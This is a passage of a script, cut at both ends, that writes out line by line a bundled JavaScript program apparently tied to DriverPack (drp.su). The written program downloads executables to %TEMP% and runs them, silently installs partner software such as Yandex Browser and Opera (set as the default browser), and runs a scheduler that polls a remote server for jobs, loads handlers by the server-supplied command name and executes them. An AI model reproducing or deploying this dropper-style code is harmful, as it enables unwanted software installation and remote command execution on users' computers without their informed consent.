_Notification2[\"default\"](\"fileassociation\");");
file.WriteLine(" notification.send(\"downloading\");");
file.WriteLine(" softName = null;");
file.WriteLine(" softUrl = null;");
file.WriteLine(" softKeys = null;");
file.WriteLine(" for (key in ExtensionSoft) {");
file.WriteLine(" soft = ExtensionSoft[key];");
file.WriteLine(" extensions = soft.extensions;");
file.WriteLine(" if (-1 !==
extensions.indexOf(extension)) {");
file.WriteLine(" softName = key;");
file.WriteLine(" softUrl = soft.url;");
file.WriteLine(" softKeys = soft.keys;");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" if (softName) {");
file.WriteLine(" downloadURI = softUrl;");
file.WriteLine(" keys = softKeys;");
file.WriteLine(" fileName =
downloadURI.split(\"/\").slice(-1);");
file.WriteLine(" targetFolder =
_system.WshShell.ExpandEnvironmentStrings(\"%TEMP%\");");
file.WriteLine(" if
(_system.fso.FileExists(_utils.WgetPath)) {");
file.WriteLine(" wgetCommand = '\"' +
_utils.WgetPath + '\" -P \"' + targetFolder + '\" \"' + downloadURI + '\"';");
file.WriteLine(" command =
this.wrapInCmd(wgetCommand);");
file.WriteLine(" _system.WshShell.Run(command,
0, !0);");
file.WriteLine("
notification.send(\"installing\");");
file.WriteLine(" _system.WshShell.Run('\"' +
targetFolder + \"\\\\\" + fileName + '\" ' + keys, 1, !0);");
file.WriteLine("
_statistics2[\"default\"].event({");
file.WriteLine(" action: \"soft installation
completed\",");
file.WriteLine(" label:
_statistics2[\"default\"].drpVersion + \" \" + label");
file.WriteLine(" }, [], !0);");
file.WriteLine(" this.installedSoftName =
softName;");
file.WriteLine(" notification.send(\"done\");");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" } catch (e) {");
file.WriteLine(" _statistics2[\"default\"].event({");
file.WriteLine(" action: \"soft installation
failed\",");
file.WriteLine(" label:
_statistics2[\"default\"].drpVersion + \" \" + label");
file.WriteLine(" }, [], !0);");
file.WriteLine(" }");
file.WriteLine("");
file.WriteLine(" case 1:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context2.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee2, this);");
file.WriteLine(" }));");
file.WriteLine(" return installSoft;");
file.WriteLine(" }();");
file.WriteLine(" FileAssociationsManager.prototype.openInstalledSoft =
function() {");
file.WriteLine(" function openInstalledSoft(_x8) {");
file.WriteLine(" return _ref3.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref3 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee3(fullFilePath) {");
file.WriteLine(" var installedSoft;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context3)
{");
file.WriteLine(" for (;;) switch (_context3.prev =
_context3.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" if (this.installedSoftName) {");
file.WriteLine(" installedSoft =
ExtensionSoft[this.installedSoftName].installedSoftLocation;");
file.WriteLine(" _system.WshShell.Run('\"' +
installedSoft + '\" \"' + fullFilePath + '\"', 1, !1);");
file.WriteLine(" }");
file.WriteLine("");
file.WriteLine(" case 1:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context3.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee3, this);");
file.WriteLine(" }));");
file.WriteLine(" return openInstalledSoft;");
file.WriteLine(" }();");
file.WriteLine(" FileAssociationsManager.prototype.wrapInCmd =
function(command) {");
file.WriteLine(" return 'cmd /c \"' + command + '\"';");
file.WriteLine(" };");
file.WriteLine(" return FileAssociationsManager;");
file.WriteLine(" }();");
file.WriteLine(" exports[\"default\"] = FileAssociationsManager;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _interopRequireDefault(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function _asyncToGenerator(fn) {");
file.WriteLine(" return function() {");
file.WriteLine(" var gen = fn.apply(this, arguments);");
file.WriteLine(" return new Promise(function(resolve, reject) {");
file.WriteLine(" function step(key, arg) {");
file.WriteLine(" try {");
file.WriteLine(" var info = gen[key](arg), value =
info.value;");
file.WriteLine(" } catch (error) {");
file.WriteLine(" reject(error);");
file.WriteLine(" return;");
file.WriteLine(" }");
file.WriteLine(" if (info.done) resolve(value); else return
Promise.resolve(value).then(function(value) {");
file.WriteLine(" step(\"next\", value);");
file.WriteLine(" }, function(err) {");
file.WriteLine(" step(\"throw\", err);");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" return step(\"next\");");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" function _possibleConstructorReturn(self, call) {");
file.WriteLine(" if (!self) throw new ReferenceError(\"this hasn't been
initialised - super() hasn't been called\");");
file.WriteLine(" return call && (\"object\" == typeof call || \"function\"
== typeof call) ? call : self;");
file.WriteLine(" }");
file.WriteLine(" function _inherits(subClass, superClass) {");
file.WriteLine(" if (\"function\" != typeof superClass && null !==
superClass) throw new TypeError(\"Super expression must either be null or a
function, not \" + typeof superClass);");
file.WriteLine(" subClass.prototype = Object.create(superClass &&
superClass.prototype, {");
file.WriteLine(" constructor: {");
file.WriteLine(" value: subClass,");
file.WriteLine(" enumerable: !1,");
file.WriteLine(" writable: !0,");
file.WriteLine(" configurable: !0");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" if (superClass) Object.setPrototypeOf ?
Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass;");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" __webpack_require__(419);");
file.WriteLine(" var _events = __webpack_require__(124), _statistics =
__webpack_require__(20), _statistics2 = _interopRequireDefault(_statistics),
_system = __webpack_require__(1), _Notification = __webpack_require__(19),
_Notification2 = _interopRequireDefault(_Notification), _utils =
__webpack_require__(4), _Metric = __webpack_require__(214), _Metric2 =
_interopRequireDefault(_Metric), Scheduler = function(_EventEmitter) {");
file.WriteLine(" function Scheduler() {");
file.WriteLine(" var _temp, _this, _ret;");
file.WriteLine(" _classCallCheck(this, Scheduler);");
file.WriteLine(" for (var _len = arguments.length, args = Array(_len),
_key = 0; _key < _len; _key++) args[_key] = arguments[_key];");
file.WriteLine(" return _ret = (_temp = _this =
_possibleConstructorReturn(this, _EventEmitter.call.apply(_EventEmitter,
[ this ].concat(args))), ");
file.WriteLine(" _this.metric = window.metric || new
_Metric2[\"default\"](), _this.lastUpdate = 0, ");
file.WriteLine(" _this.queue = [], _temp),
_possibleConstructorReturn(_this, _ret);");
file.WriteLine(" }");
file.WriteLine(" _inherits(Scheduler, _EventEmitter);");
file.WriteLine(" Scheduler.prototype.run = function() {");
file.WriteLine(" var hash = this.metric.hash, id =
_statistics2[\"default\"].computerId;");
file.WriteLine(" if (!window.RunningScheduler) if (id && hash) {");
file.WriteLine(" window.RunningScheduler = !0;");
file.WriteLine(" this.baseUri = \"/user/\" + hash + \"/computer/\" +
id;");
file.WriteLine(" this.listen();");
file.WriteLine(" this.tick();");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" Scheduler.prototype.update = function() {");
file.WriteLine(" function update() {");
file.WriteLine(" return _ref.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref =
_asyncToGenerator(regeneratorRuntime.mark(function _callee() {");
file.WriteLine(" var _ref2, jobs, _queue;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context)
{");
file.WriteLine(" for (;;) switch (_context.prev = _context.next)
{");
file.WriteLine(" case 0:");
file.WriteLine(" _context.next = 2;");
file.WriteLine(" return this.metric.get(this.baseUri
+ \"/jobs\", {");
file.WriteLine(" state: \"pending\",");
file.WriteLine(" since: this.lastUpdate,");
file.WriteLine(" z: Date.now()");
file.WriteLine(" });");
file.WriteLine("");
file.WriteLine(" case 2:");
file.WriteLine(" _ref2 = _context.sent;");
file.WriteLine(" jobs = _ref2.body;");
file.WriteLine(" if (jobs.length > 0) {");
file.WriteLine(" this.lastUpdate =
jobs.reduce(function(acc, _ref3) {");
file.WriteLine(" var updated = _ref3.updated;");
file.WriteLine(" return Math.max(acc, updated);");
file.WriteLine(" }, this.lastUpdate);");
file.WriteLine(" (_queue =
this.queue).push.apply(_queue, jobs);");
file.WriteLine(" this.emit(\"message\");");
file.WriteLine(" }");
file.WriteLine("");
file.WriteLine(" case 5:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee, this);");
file.WriteLine(" }));");
file.WriteLine(" return update;");
file.WriteLine(" }();");
file.WriteLine(" Scheduler.prototype.listen = function() {");
file.WriteLine(" var _this2 = this, poll = function() {");
file.WriteLine(" var _ref4 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee2() {");
file.WriteLine(" return
regeneratorRuntime.wrap(function(_context2) {");
file.WriteLine(" for (;;) switch (_context2.prev =
_context2.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" _context2.prev = 0;");
file.WriteLine(" _context2.next = 3;");
file.WriteLine(" return _this2.update();");
file.WriteLine("");
file.WriteLine(" case 3:");
file.WriteLine(" _context2.next = 7;");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 5:");
file.WriteLine(" _context2.prev = 5;");
file.WriteLine(" _context2.t0 = _context2[\"catch\"]
(0);");
file.WriteLine("");
file.WriteLine(" case 7:");
file.WriteLine(" _context2.prev = 7;");
file.WriteLine(" setTimeout(poll, 1e4);");
file.WriteLine(" return _context2.finish(7);");
file.WriteLine("");
file.WriteLine(" case 10:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context2.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee2, _this2, [ [ 0, 5, 7, 10 ] ]);");
file.WriteLine(" }));");
file.WriteLine(" return function() {");
file.WriteLine(" return _ref4.apply(this, arguments);");
file.WriteLine(" };");
file.WriteLine(" }();");
file.WriteLine(" poll();");
file.WriteLine(" };");
file.WriteLine(" Scheduler.prototype.tick = function() {");
file.WriteLine(" function tick() {");
file.WriteLine(" return _ref5.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref5 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee3() {");
file.WriteLine(" var _this3 = this;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context3)
{");
file.WriteLine(" for (;;) switch (_context3.prev =
_context3.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" if (!(this.queue.length > 0)) {");
file.WriteLine(" _context3.next = 6;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" _context3.next = 3;");
file.WriteLine(" return
this.runCommand(this.queue.shift());");
file.WriteLine("");
file.WriteLine(" case 3:");
file.WriteLine(" this.tick();");
file.WriteLine(" _context3.next = 7;");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 6:");
file.WriteLine(" this.once(\"message\", function() {");
file.WriteLine(" return _this3.tick();");
file.WriteLine(" });");
file.WriteLine("");
file.WriteLine(" case 7:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context3.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee3, this);");
file.WriteLine(" }));");
file.WriteLine(" return tick;");
file.WriteLine(" }();");
file.WriteLine(" Scheduler.prototype.runCommand = function() {");
file.WriteLine(" function runCommand(_x) {");
file.WriteLine(" return _ref6.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref6 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee4(_ref7) {");
file.WriteLine(" var _ref8, state, _require, requireAdminRights, id
= _ref7.id, command = _ref7.command, argument = _ref7.argument;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context4)
{");
file.WriteLine(" for (;;) switch (_context4.prev =
_context4.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" _context4.prev = 0;");
file.WriteLine(" _context4.next = 3;");
file.WriteLine(" return this.getJob(id);");
file.WriteLine("");
file.WriteLine(" case 3:");
file.WriteLine(" _ref8 = _context4.sent;");
file.WriteLine(" state = _ref8.body.state;");
file.WriteLine(" if (\"pending\" === state) {");
file.WriteLine(" _context4.next = 7;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" return _context4.abrupt(\"return\");");
file.WriteLine("");
file.WriteLine(" case 7:");
file.WriteLine(" _require = __webpack_require__(220)(\"./\"
+ command + \".js\"), requireAdminRights = _require.requireAdminRights;");
file.WriteLine(" _context4.next = 10;");
file.WriteLine(" return this.updateJob(id, \"working\");");
file.WriteLine("");
file.WriteLine(" case 10:");
file.WriteLine(" if (!requireAdminRights) {");
file.WriteLine(" _context4.next = 22;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" _context4.next = 13;");
file.WriteLine(" return this.showConfirm();");
file.WriteLine("");
file.WriteLine(" case 13:");
file.WriteLine(" if (!_context4.sent) {");
file.WriteLine(" _context4.next = 18;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" _context4.next = 16;");
file.WriteLine(" return this.dispatch(id, command,
argument);");
file.WriteLine("");
file.WriteLine(" case 16:");
file.WriteLine(" _context4.next = 20;");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 18:");
file.WriteLine(" _context4.next = 20;");
file.WriteLine(" return
this.updateJob(id, \"failed\", \"rejected\");");
file.WriteLine("");
file.WriteLine(" case 20:");
file.WriteLine(" _context4.next = 24;");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 22:");
file.WriteLine(" _context4.next = 24;");
file.WriteLine(" return this.execute(id, command,
argument);");
file.WriteLine("");
file.WriteLine(" case 24:");
file.WriteLine(" _context4.next = 30;");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 26:");
file.WriteLine(" _context4.prev = 26;");
file.WriteLine(" _context4.t0 = _context4[\"catch\"](0);");
file.WriteLine(" _context4.next = 30;");
file.WriteLine(" return this.updateJob(id, \"failed\",
_context4.t0.message);");
file.WriteLine("");
file.WriteLine(" case 30:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context4.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee4, this, [ [ 0, 26 ] ]);");
file.WriteLine(" }));");
file.WriteLine(" return runCommand;");
file.WriteLine(" }();");
file.WriteLine(" Scheduler.prototype.getJob = function() {");
file.WriteLine(" function getJob(_x2) {");
file.WriteLine(" return _ref9.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref9 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee5(jobId) {");
file.WriteLine(" var uri;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context5)
{");
file.WriteLine(" for (;;) switch (_context5.prev =
_context5.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" uri = this.baseUri + \"/job/\" + jobId;");
file.WriteLine(" return _context5.abrupt(\"return\",
this.metric.get(uri));");
file.WriteLine("");
file.WriteLine(" case 2:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context5.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee5, this);");
file.WriteLine(" }));");
file.WriteLine(" return getJob;");
file.WriteLine(" }();");
file.WriteLine(" Scheduler.prototype.updateJob = function() {");
file.WriteLine(" function updateJob(_x3, _x4, _x5) {");
file.WriteLine(" return _ref10.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref10 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee6(jobId, state, log) {");
file.WriteLine(" var uri;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context6)
{");
file.WriteLine(" for (;;) switch (_context6.prev =
_context6.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" uri = this.baseUri + \"/job/\" + jobId;");
file.WriteLine(" return _context6.abrupt(\"return\",
this.metric.put(uri, {");
file.WriteLine(" state: state,");
file.WriteLine(" log: log");
file.WriteLine(" }));");
file.WriteLine("");
file.WriteLine(" case 2:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context6.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee6, this);");
file.WriteLine(" }));");
file.WriteLine(" return updateJob;");
file.WriteLine(" }();");
file.WriteLine(" Scheduler.prototype.dispatch = function() {");
file.WriteLine(" function dispatch(_x6, _x7, _x8) {");
file.WriteLine(" return _ref11.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref11 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee7(id, command, argument)
{");
file.WriteLine(" var params;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context7)
{");
file.WriteLine(" for (;;) switch (_context7.prev =
_context7.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" params = [ \"--command\", command, \"--
jpbId\", id, \"--baseUri\", this.baseUri ];");
file.WriteLine(" if (argument) params.push(\"--argument\",
encodeURIComponent(argument));");
file.WriteLine(" _system.WshShell.Run('\"' + _utils.AppPath
+ '\\\\Uninstall.exe\" ' + params.join(\" \"), 3, !1);");
file.WriteLine("");
file.WriteLine(" case 3:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context7.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee7, this);");
file.WriteLine(" }));");
file.WriteLine(" return dispatch;");
file.WriteLine(" }();");
file.WriteLine(" Scheduler.prototype.execute = function() {");
file.WriteLine(" function execute(_x9, _x10, _x11) {");
file.WriteLine(" return _ref12.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref12 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee8(id, command, argument)
{");
file.WriteLine(" var _require2, handler, log, _this4 = this;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context8)
{");
file.WriteLine(" for (;;) switch (_context8.prev =
_context8.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" _context8.prev = 0;");
file.WriteLine(" _require2 = __webpack_require__(220)(\"./\"
+ command + \".js\"), handler = _require2.handler;");
file.WriteLine(" _context8.next = 4;");
file.WriteLine(" return handler(argument, function(progress)
{");
file.WriteLine(" _this4.updateJob(id, null,
progress);");
file.WriteLine(" });");
file.WriteLine("");
file.WriteLine(" case 4:");
file.WriteLine(" log = _context8.sent;");
file.WriteLine(" _context8.next = 7;");
file.WriteLine(" return this.updateJob(id, \"done\",
log);");
file.WriteLine("");
file.WriteLine(" case 7:");
file.WriteLine(" _context8.next = 13;");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 9:");
file.WriteLine(" _context8.prev = 9;");
file.WriteLine(" _context8.t0 = _context8[\"catch\"](0);");
file.WriteLine(" _context8.next = 13;");
file.WriteLine(" return this.updateJob(id, \"failed\",
_context8.t0.message);");
file.WriteLine("");
file.WriteLine(" case 13:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context8.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee8, this, [ [ 0, 9 ] ]);");
file.WriteLine(" }));");
file.WriteLine(" return execute;");
file.WriteLine(" }();");
file.WriteLine(" Scheduler.prototype.showConfirm = function() {");
file.WriteLine(" function showConfirm() {");
file.WriteLine(" return _ref13.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref13 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee9() {");
file.WriteLine(" var notification, status;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context9)
{");
file.WriteLine(" for (;;) switch (_context9.prev =
_context9.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" notification = new
_Notification2[\"default\"](\"scheduler-uac\");");
file.WriteLine(" _context9.next = 3;");
file.WriteLine(" return notification.set(\"unsubscribed\", !
1).save().show();");
file.WriteLine("");
file.WriteLine(" case 3:");
file.WriteLine(" status = _context9.sent;");
file.WriteLine(" return _context9.abrupt(\"return\", \"ok\"
=== status);");
file.WriteLine("");
file.WriteLine(" case 5:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context9.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee9, this);");
file.WriteLine(" }));");
file.WriteLine(" return showConfirm;");
file.WriteLine(" }();");
file.WriteLine(" return Scheduler;");
file.WriteLine(" }(_events.EventEmitter);");
file.WriteLine(" exports[\"default\"] = Scheduler;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _interopRequireDefault(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function _asyncToGenerator(fn) {");
file.WriteLine(" return function() {");
file.WriteLine(" var gen = fn.apply(this, arguments);");
file.WriteLine(" return new Promise(function(resolve, reject) {");
file.WriteLine(" function step(key, arg) {");
file.WriteLine(" try {");
file.WriteLine(" var info = gen[key](arg), value =
info.value;");
file.WriteLine(" } catch (error) {");
file.WriteLine(" reject(error);");
file.WriteLine(" return;");
file.WriteLine(" }");
file.WriteLine(" if (info.done) resolve(value); else return
Promise.resolve(value).then(function(value) {");
file.WriteLine(" step(\"next\", value);");
file.WriteLine(" }, function(err) {");
file.WriteLine(" step(\"throw\", err);");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" return step(\"next\");");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" }");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _statistics = __webpack_require__(20), _statistics2 =
_interopRequireDefault(_statistics), _config = __webpack_require__(6), _config2 =
_interopRequireDefault(_config), _Notification = __webpack_require__(19),
_Notification2 = _interopRequireDefault(_Notification), _utils =
__webpack_require__(4), _system = __webpack_require__(1), _specialFolders =
__webpack_require__(15), _WMIRegistry = __webpack_require__(111), _WMIRegistry2 =
_interopRequireDefault(_WMIRegistry), _checkSoft = __webpack_require__(239),
_getSoftChanges = __webpack_require__(246), _getSoftChanges2 =
_interopRequireDefault(_getSoftChanges), _DriverPack = __webpack_require__(175),
_DriverPack2 = _interopRequireDefault(_DriverPack), CheckTimeout =
_config2[\"default\"].monitoring.UserActivity.CheckTimeout, activeOperaFile =
_specialFolders.AppData + \"\\\\Opera Software\\\\Opera Stable\\\\siteprefs.json\",
PartnerSoft = {");
file.WriteLine(" Browser: [ {");
file.WriteLine(" Name: \"Yandex.Browser (Russian)\",");
file.WriteLine(" URL: \"http://download.drp.su/updates/ya-
downloader/downloader_browser.exe\",");
file.WriteLine(" Keys: '--partner drpsu --distr /passive
/msicl \"ILIGHT=1 YABM=n YABROWSER=y YBSENDSTAT=n VID=\"005\"\" --try 10
/log \"%temp%\\\\YaBrInstall.log\"',");
file.WriteLine(" registryReg: /^Yandex$|.*YandexBrowser.*/i,");
file.WriteLine(" HKEY: \"HKCU\",");
file.WriteLine(" checkInstallCondition: function(installedSoftData) {");
file.WriteLine(" var _this = this;");
file.WriteLine(" return !
installedSoftData.Browser.find(function(installedSoftObject) {");
file.WriteLine(" return installedSoftObject.name ===
_this.Name;");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" Name: \"Opera\",");
file.WriteLine(" URL: \"http://download.drp.su/soft/OperaBlink.exe\",");
file.WriteLine(" Keys: \"-install -silent -launchopera=1
-setdefaultbrowser=1\",");
file.WriteLine(" registryReg: /.*Opera.*/i,");
file.WriteLine(" HKEY: \"HKLM\",");
file.WriteLine(" checkInstallCondition: function(installedSoftData) {");
file.WriteLine(" return !1;");
file.WriteLine(" }");
file.WriteLine(" }, {");
file.WriteLine(" Name: \"Firefox\",");
file.WriteLine(" URL: \"http://download.drp.su/soft/Firefox.exe\",");
file.WriteLine(" Keys: \"-ms -ira\",");
file.WriteLine(" registryReg: /.*Mozilla\\s?Firefox.*/i,");
file.WriteLine(" HKEY: \"HKLM\",");
file.WriteLine(" checkInstallCondition: function(installedSoftData) {");
file.WriteLine(" return !1;");
file.WriteLine(" }");
file.WriteLine(" } ],");
file.WriteLine(" System: [ {");
file.WriteLine(" Name: \"WinRAR (Russian)\",");
file.WriteLine("
URL: \"http://download.drp.su/soft/WinRARx86Rus.exe\",");
file.WriteLine(" Keys: \"/S\",");
file.WriteLine(" registryReg: /.*WinRAR.*/i,");
file.WriteLine(" HKEY: \"HKLM\",");
file.WriteLine(" checkInstallCondition: function(installedSoftData) {");
file.WriteLine(" var _this2 = this;");
file.WriteLine(" return !
installedSoftData.System.find(function(installedSoftObject) {");
file.WriteLine(" return installedSoftObject.name ===
_this2.Name;");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" } ]");
file.WriteLine(" }, installedSoftCount = void 0, Soft = function() {");
file.WriteLine(" function Soft() {");
file.WriteLine(" _classCallCheck(this, Soft);");
file.WriteLine(" this.softRegistryKey
= \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\\";");
file.WriteLine(" this.installedSoftData = {};");
file.WriteLine(" this.allInstalledSoftData = [];");
file.WriteLine(" this.registry = new _WMIRegistry2[\"default\"]();");
file.WriteLine(" this.inactiveOperaSent = !1;");
file.WriteLine(" }");
file.WriteLine(" Soft.prototype.writeFile = function(data, filePath) {");
file.WriteLine(" var file = _system.fso.OpenTextFile(filePath, 2, !
0);");
file.WriteLine(" file.write(JSON.stringify(data));");
file.WriteLine(" file.Close();");
file.WriteLine(" };");
file.WriteLine(" Soft.prototype.run = function() {");
file.WriteLine(" function run() {");
file.WriteLine(" return _ref.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref =
_asyncToGenerator(regeneratorRuntime.mark(function _callee() {");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context)
{");
file.WriteLine(" for (;;) switch (_context.prev = _context.next)
{");
file.WriteLine(" case 0:");
file.WriteLine(" if (_utils.isOldOS) {");
file.WriteLine(" _context.next = 9;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" this.detectInactiveOpera();");
file.WriteLine(" if (!window.RunningDetectNewPrograms) {");
file.WriteLine(" _context.next = 6;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" return _context.abrupt(\"return\");");
file.WriteLine("");
file.WriteLine(" case 6:");
file.WriteLine(" window.RunningDetectNewPrograms = !0;");
file.WriteLine(" (0, _getSoftChanges2[\"default\"])();");
file.WriteLine(" this.tick();");
file.WriteLine("");
file.WriteLine(" case 9:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee, this);");
file.WriteLine(" }));");
file.WriteLine(" return run;");
file.WriteLine(" }();");
file.WriteLine(" Soft.prototype.checkOperaVPN = function() {");
file.WriteLine(" function checkOperaVPN() {");
file.WriteLine(" return _ref2.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref2 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee2() {");
file.WriteLine(" var softName, softCategory, opera;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context2)
{");
file.WriteLine(" for (;;) switch (_context2.prev =
_context2.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" this.collectInstalledSoftData();");
file.WriteLine(" softName = \"Opera\";");
file.WriteLine(" softCategory = \"Browser\";");
file.WriteLine(" opera =
this.installedSoftData[softCategory].find(function(_ref3) {");
file.WriteLine(" return _ref3.name === softName;");
file.WriteLine(" });");
file.WriteLine(" if (opera) {");
file.WriteLine(" _context2.next = 6;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" return _context2.abrupt(\"return\",
this.showConfirm({");
file.WriteLine(" softName: softName,");
file.WriteLine(" softCategory: softCategory");
file.WriteLine(" }, \"opera-vpn\"));");
file.WriteLine("");
file.WriteLine(" case 6:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context2.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee2, this);");
file.WriteLine(" }));");
file.WriteLine(" return checkOperaVPN;");
file.WriteLine(" }();");
file.WriteLine(" Soft.prototype.tick = function() {");
file.WriteLine(" function tick() {");
file.WriteLine(" return _ref4.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref4 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee3() {");
file.WriteLine(" var _this3 = this;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context3)
{");
file.WriteLine(" for (;;) switch (_context3.prev =
_context3.next) {");
file.WriteLine(" case 0:");
file.WriteLine(" _context3.prev = 0;");
file.WriteLine(" _context3.next = 3;");
file.WriteLine(" return this.detectProgramInstallation();");
file.WriteLine("");
file.WriteLine(" case 3:");
file.WriteLine(" setTimeout(function() {");
file.WriteLine(" return _this3.tick();");
file.WriteLine(" }, CheckTimeout);");
file.WriteLine(" _context3.next = 9;");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 6:");
file.WriteLine(" _context3.prev = 6;");
file.WriteLine(" _context3.t0 = _context3[\"catch\"](0);");
file.WriteLine(" window.RunningDetectNewPrograms = !1;");
file.WriteLine("");
file.WriteLine(" case 9:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context3.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee3, this, [ [ 0, 6 ] ]);");
file.WriteLine(" }));");
file.WriteLine(" return tick;");
file.WriteLine(" }();");
file.WriteLine(" Soft.prototype.detectInactiveOpera = function() {");
file.WriteLine(" if (!this.inactiveOperaSent) {");
